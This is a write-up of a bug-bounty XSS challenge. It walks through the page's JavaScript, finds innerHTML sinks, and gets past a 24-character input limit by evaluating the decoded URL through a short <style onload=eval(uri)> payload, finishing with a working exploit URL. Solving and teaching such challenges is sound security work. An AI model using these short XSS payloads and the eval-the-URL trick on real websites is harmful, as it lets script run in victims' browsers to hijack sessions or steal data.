Analysis
For this challenge we get the following page

Here we have a input field and a input to tell if we have played the game previously.
Entering something in the name input and submitting we get a popup reflecting our input.

We can also see the parameters in the URL that is used.
https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Ch1%3Etest%3C%2Fh1%3E&first=yes
Entering some HTML in the input field and submitting shows the rendered result in the popup.

When we try to enter a name longer than 24 characters we get a error message instead.

Lets take a look at the source code and find out what’s going on. In the main HTML page we find a script
tag with all the JavaScript code for the page.
<script>
window.name = 'XSS(eXtreme Short Scripting) Game'
function showModal(title, content) {
var titleDOM = document.querySelector('#main-modal h3')
var contentDOM = document.querySelector('#main-modal p')
titleDOM.innerHTML = title
contentDOM.innerHTML = content
window['main-modal'].classList.remove('hide')
}
window['main-form'].onsubmit = function(e) {
e.preventDefault()
var inputName = window['name-field'].value
var isFirst = document.querySelector('input[type=radio]:checked').value
if (!inputName.length) {
showModal('Error!', "It's empty")
return
}
if (inputName.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
return
}
window.location.search = "?q=" + encodeURIComponent(inputName) + '&first=' + isFirst
}
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
</script>
In the showModal
function we can see two innerHTML
assignments which we may be able to use as sinks.
titleDOM.innerHTML = title
contentDOM.innerHTML = content
Taking a look at the calls to showModal
we find that the only call not using constant values are the call in the last else
statement in the code.
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
To call showModal
with our data we have to have a maximum of 24 characters in the q
parameter.
Exploitation
First let’s verify that we can execute JavaScript by calling the showModal
function directly from the browser console to bypass the length check. Calling showModal('test','<img onerror=alert(1) src=/>')
indeed works and triggers the alert.

Now we have to find out a way to trigger alert(document.domain)
and since the length of this already is 21 characters we have to find another way than relying on the q
parameter.
This blog post talks about how to eval a url. The trick here is that a url is valid JavaScript and if we are able to add a new line character after the url we can execute arbitrary JavaScript. As long as we can inject a short enough payload that will eval the url, this method should give us the ability to execute alert(document.domain)
.
Lets start by verifying that the method works by calling eval("https://challenge-0222.intigriti.io/challenge/xss.html?q=test&first=yes\nalert(1)")
in the console. And sure enough we trigger an alert.
But entering \n
in the address bar won’t work since it will be interpreted as the characters \
and n
instead of a newline as shown by viewing the location.href
variable in the console.

Lets go back to the code and take a look at what we have to work with.
if (location.href.includes('q=')) {
var uri = decodeURIComponent(location.href)
var qs = uri.split('&first=')[0].split('?q=')[1]
if (qs.length > 24) {
showModal('Error!', "Length exceeds 24, keep it short!")
} else {
showModal('Welcome back!', qs)
}
}
Here we can see that the uri
variable should exist as long as the q
parameter is provided. It’s assigned using decodeURIComponent
which will decode UTF-8 encoded characters such as %20
for space or %0a
for a newline.
So lets try it out. Navigating to https://challenge-0222.intigriti.io/challenge/xss.html?q=test&first=%0aalert('eval')
and printing the uri
variable in the console shows us that the newline is interpreted correctly.

Now to verify that all the pieces works together, calling showModal('test','<img onerror=eval(uri) src=/>')
to use the uri to trigger alert('eval')
works!

Now we need to find a short enough payload to trigger eval(uri)
. Using PortSwiggers Cross-site scripting (XSS) cheat sheet to find short events that works on both Chrome and Firefox we end up with onerror
and onload
.
Starting with the shortest of the two, onload
, and checking which elements have the event we find the style
tag with a relatively short payload <style onload=alert(1)></style>
After rewriting the payload to <style onload=eval(uri)>
we now have a payload that is exacly 24 characters. Lets test it out to verify that it will trigger an alert.
And calling showModal('test','<style onload=eval(uri)>')
triggers the alert.

Great! When we put all the pieces together we get the following payload https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle%20onload=eval(uri)%3E&first=%0Aalert(document.domain)
which triggers alert(document.domain)
.
